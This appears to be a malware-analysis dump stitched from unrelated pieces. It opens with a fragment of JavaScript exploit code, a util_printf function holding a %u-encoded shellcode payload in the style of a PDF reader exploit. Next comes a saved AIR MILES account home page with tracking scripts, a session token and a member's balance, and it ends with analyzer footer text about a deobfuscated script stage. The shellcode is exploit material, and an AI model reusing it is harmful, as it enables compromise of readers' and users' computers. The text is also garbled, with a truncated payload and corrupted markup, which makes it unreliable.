yarsp = yarsp.substring(0, len / 2);return yarsp;}
function util_printf() {
var payload = unescape("%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010%u5700%uC8E8%u0002%uE800%u00FA%%7%
















<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/DTD/xhtml1-transitional.dtd">


	
	


<html>




<head>
	<script>
		
			
			var omnitureServer = 'amrpairmilesca';
		
		
		var oasSegments = 'EVERYONE,07608_Amex,07391_07399_Metro,07578_CellQSU,AMX8101Cel2_Ad,8713_Iris,BMO7430NBMC_975,8185Cel1,AMX8062Cel2_3Rail,08810_Shell_W1_E,BMO7430MCRE,07776-09_Shell_VPow_E,08550_IRIS_Spot,AMX8097Cel1_Spotlight,8035_BMO_Ad_RNBE,BMO7790SHELL,CS_8884_150A,8399_BMO_2100_2,BMO7333_CM,BMO7333_AG,8635_NonEligible,07417_BMOSHELL,AMX8064Cel1_Spotlight,07584_Rexall,AMX8059Cel1,7920Universe,7317_RONA,7388_Brick,AMX8068Cel1_Ad,UVL8078AdU1,AMEX7737INE,8531_SHELL_E,CSPR8533Web,AMX8185Cel1_Ad,8399_BMO_2100_May,8139_CSPR_150,AMX8060Cel1,7326_Mobile,2010_4_BMO_KA_081,7283_AMEX_Non,AMX8094Cel1_Thumb';
	</script>

	<meta http-e%uiv="cache-control" content="no-cache"/>
	<meta http-e%uiv="expires" content="0"/>
	<meta name="build" content="op2-1.0.0.9-39"/>
	<title>AIR MILES - Home</title>
	<meta name="keywords" content="" />
	<meta name='description' content='' />
	<meta http-e%uiv="content-type" content="text/html; charset=iso-8859-1" />
	<meta http-e%uiv="content-language"	content="en-us" />
	<meta http-e%uiv="imagetoolbar"	content="no" />
	<meta http-e%uiv="window-target" content="main" />
	<meta http-e%uiv="content-style-type" content="text/css" />
	<meta http-e%uiv="content-script-type" content="text/javascript" />

	<script language='javaScript1.3' type='text/javascript' src='/arrow/webresource/js/mootools_1_11.js'></script>

	<link rel="shortcut icon" href="/arrow/webresource/images/favicon.ico" type="image/x-icon" />
  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/page.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/page-content.css'/>
  	
  

  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frameFacelif2.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frame-general.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/footer-upper.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/lower-footer.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/submenu.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/frame/frame-structure.css'/>
  	
  

  
  	
  
  
  	 
  	
  
  	 
  	
  		
  			
  				<link rel="stylesheet" href='/arrow/webresource/css/color-schema-login.css'/>
  			
  		
  	
  
  	 
  	
  		
  			
  		
  	
  

  
  
  	      
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/home2.css'/>
  	
  
  	      
  	
  	<link rel="stylesheet" href='/arrow/webresource/css/third_rail.css'/>
  	
  
  
  <link rel="stylesheet" media="print" href='/arrow/webresource/css/print.css'/>
  
  
  
  	      
  	
  
  	      
  	
  	<script type='text/vbscript' src='/arrow/webresource/js/flash.vbs'></script>
  	
  
  
	  
	
	
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/javascript.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/s_code.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/flash.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/misc.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/mootools_1_11.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/swfobject.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/rewards/rewards.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/header_functions.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/hover_button.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/AC_OETags.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/imageResizerSupport.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/js/oas/getCollNameAndBalance.js'></script>
			
		
	
	
		
			
				<script language='javaScript1.3' type='text/javascript'
					src='/arrow/webresource/foresee/foresee-trigger.js'></script>
			
		
	

	<script type="text/javascript">
		swfobject.embedSWF("/arrow/webresource/flash/test.swf", "getFlash", "0", "0", "9.0.124");
	</script>







<SCRIPT src="/arrow/webresource/js/toolbar.js"></SCRIPT>


<SCRIPT type="text/javascript">
	var toolbarId = 56939;
	
	
	function initToolbar() {

		
		
		
		
		
		
			var username = 'vz8JHGGIzDNCRcIfVEHjaA==';
			var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=' + username + '&toolid=api" border="0"/>';
			




if (toolbar) {
		toolbar.authenticate(username, '1', '1');
		setSearchCounterApi(img);	
}

	
	
		
		
					

	}
	
	function loginToolbar() {
               
    
		var username = 'vz8JHGGIzDNCRcIfVEHjaA==';
		var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=' + username + '&toolid=api" border="0"/>';
				





if (toolbar) {
		toolbar.authenticate(username, '1', '1');
		setSearchCounterApi(img);	
}

	
      
	                       
	
		

	}	

	function logoffToolbar() {
		toolbar.authenticate('','','');
		var img = '<img src="' + 'https://www.freecause.com/images/white1_1.png' + '?user=loggedout&toolid=api" border="0"/>';
		setSearchCounterApi(img);
	}	
</SCRIPT>

	

</head>

<body>

<script type="text/javascript">
	appendOnLoad(initToolbar);
	document.write("<div id='flashLayer' style='position:absolute;top:0;left:0;width:100%;z-index:1'>"); 
	insertResizer()	
	document.write("</div>");

</script>
<div id="htmlLayer" style="width:100%;position:absolute;top:0;left:0;z-index:2">

	<div id="getFlash">
		<div class="getFlashContent"><img src="/arrow/webresource/images/icons/getflash.jpg">
			
			To see everything that airmiles.ca has to offer, you will need the latest Adobe Flash Player. <a href="http://www.adobe.com/go/getflashplayer">Click here</a> to get Flash. 
		</div>
	</div>

	







  
  




	
	<div id="Page">
		<div id="main-container">
			<div id="frame-header" class="en">
  		  















<div class="card"><a href='/arrow/Home'><img src='/arrow/webresource/images/facelift2/header/headerCard.jpg' border='0' /></a></div>

	<div class="header_toolbar">
  		














    		<!-- SUBMENU -->	
			
	
	
				
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li id="account_drop_down_holder" class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/subAccount_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="AccountHome" id="account_drop_down_link">Account
									 <img src="/arrow/webresource/images/menus/submenuArrowDown.gif" class="down_arrow" />
									 </a>
										</span>
									</li>
									<div id="account_drop_down" class="drop_down_panel">
										<ul>
											
												
												
												
												
												
													
													
													
													
													<li>
													<a href="AccountHistory">
													Your Transactions
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="ChangeAddress">
													Change Address
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="ChangePin">
													Change Pin
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="OrderCards">
													Order Cards
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="/arrow/login/EnrollmentStart">
													Enroll
													</a></li>
													
													
													
													
												
												
											</ul>
											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_tr.gif" class="corner tr" alt="" />											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_bl.gif" class="corner bl" alt="" />
											<img src="/arrow/webresource/images/facelift2/background/corner_account_br.gif" class="corner br" alt="" />
									</div>
									<script language="javascript" type="text/javascript">
									var accountDrop = new DropNav('account_drop_down_link','account_drop_down','account_drop_down_holder');
									</script>                
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/subCart_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="ShoppingCart">Cart </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="FAQSearch">Help </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li id="tools_drop_down_holder" class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="javascript:void(0);" id="tools_drop_down_link" style="cursor: default;">Tools
									 <img src="/arrow/webresource/images/menus/submenuArrowDown.gif" class="down_arrow" />
									 </a>
										</span>
									</li>
									<div id="tools_drop_down" class="drop_down_panel">
										<ul>
											
												
												
												
												
												
													
													
													
													
													<li>
													<a href="FlightHome?selectedCategoryId=cat700050">
													Flight Calculator
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="WishList">
													Wish List
													</a></li>
													
													
													
													
												
												
												
												
													
													
													
													
													<li>
													<a href="Toolbar">
													AIR MILES<sup>�</sup> Toolbar
													</a></li>
													
													
													
													
												
												
											</ul>
											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_tr.gif" class="corner tr" alt="" />											
											<img src="/arrow/webresource/images/facelift2/background/corner_account_bl.gif" class="corner bl" alt="" />
											<img src="/arrow/webresource/images/facelift2/background/corner_account_br.gif" class="corner br" alt="" />
									</div>
									<script language="javascript" type="text/javascript">
									var accountDrop = new DropNav('tools_drop_down_link','tools_drop_down','tools_drop_down_holder');
									</script>                
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
				
		
			
			
			
			
			 <!-- use lower case to match style sheet declarations. -->
			
			
			
				 <div class="toolbar_section"> 
					<ul>
						
							<li class="icon divider">
								<span>
						
						
							
								
									
									
									
									
								
									
									
									
									
									
									
										 <img class="icon" src="/arrow/webresource/images/menus/blank_sub_menu_header_off_en.gif" border="0"/> 
									
									
									
								
							
						
							
								 
									<a href="javascript:changeLocale('fr_FR')">Fran�ais </a>
									</span>
									</li>
								 
							
					</ul>
					
					</div>
			
			
			
			
			
			
			
		
	
	












	
	
		<div class="toolbar_section">
			<ul>
				<li class="last">
					<span>					
						<a href="login/SignOut" onclick="document.form_sign_out.submit();return false;">Sign Out</a>
						<form action="/arrow/Home?_DARGS=/arrow/base/facelift2/headerSignOut.jsp" onsubmit="return disableForm();" name="form_sign_out" method="post" id="form_sign_out"><input value="ISO-8859-1" type="hidden" name="_dyncharset"></input><input value="2460425782592766419" type="hidden" name="_dynSessConf"></input>
							<input value="/arrow/login/SignOut" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logoutSuccessURL"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logoutSuccessURL">
							<input value="/arrow/login/SignIn" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logoutErrorURL"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logoutErrorURL">						
							<input value="Submit" type="hidden" name="/atg/userprofiling/ProfileFormHandler.logout"><input value=" " type="hidden" name="_D:/atg/userprofiling/ProfileFormHandler.logout">

			      			<input type="text" name="invisibleField" style="display:none;" />						
						<input value="/arrow/base/facelift2/headerSignOut.jsp" type="hidden" name="_DARGS"></input></form>					
					</span>
				</li>				
			</ul>
		</div>
	
	





	
		
			





	</div>
	
	<div class="current_balance">
    		











	














	MIKE
		<div class="balance">
			<span class="amount">377</span>
			<span class="reward_miles">AIR MILES<sup>�</sup> reward miles</span>
		</div>





	





   
	</div>
	
	















<script language="javascript">
		function checkInput(sValue,form) {
			if(sValue == null || sValue.length == 0 || sValue == 'null') {
				location.href = '../arrow/SiteSearch?init=on';
				return false;
			} else { 
				return true;
			}
		}
</script>

  <div id="header-search">
		
			
			
			
…
legacy_pdfkit_stage_002.js deobfuscated-js cross-stage annotation API aliases at offset 0x1E7 81 bytes
SHA-256: 42025b552c7960b53abcd8cd732b01c8d109eccfdfefc352b9826c4d5807d414
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* alias values recovered from decoded annotation stage */

Open this report in the interactive analyzer, or submit your own file for analysis.